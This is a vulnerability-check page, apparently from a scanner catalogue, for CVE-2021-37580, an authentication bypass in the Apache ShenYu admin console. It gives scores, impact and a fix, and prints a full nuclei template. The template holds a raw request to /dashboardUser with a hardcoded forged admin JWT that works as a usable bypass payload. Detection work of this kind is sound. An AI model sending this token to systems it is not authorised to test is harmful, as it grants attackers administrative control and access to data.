Apache ShenYu Admin JWT - Authentication Bypass

criticalseverity

9.8CVSS score

40.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.

Impact

This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.

Fix

Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.

How to confirm it

Send: GET /dashboardUser
Positive when: contains "query success" and "\"userName\":\"admin\"" and "\"code\":200" AND status 200

Run it with nuclei: nuclei -id CVE-2021-37580 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-37580

info:
  name: Apache ShenYu Admin JWT - Authentication Bypass
  author: pdteam
  severity: critical
  description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.
  remediation: |
    Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37580
    - https://github.com/fengwenhua/CVE-2021-37580
    - https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
    - http://www.openwall.com/lists/oss-security/2021/11/16/1
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37580
    cwe-id: CWE-287
    epss-score: 0.40827
    epss-percentile: 0.98668
    cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: shenyu
  tags: cve2021,cve,apache,jwt,shenyu,vkev,vuln

http:
  - raw:
      - |
        GET /dashboardUser HTTP/1.1
        Host: {{Hostname}}
        X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'query success'
          - '"userName":"admin"'
          - '"code":200'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from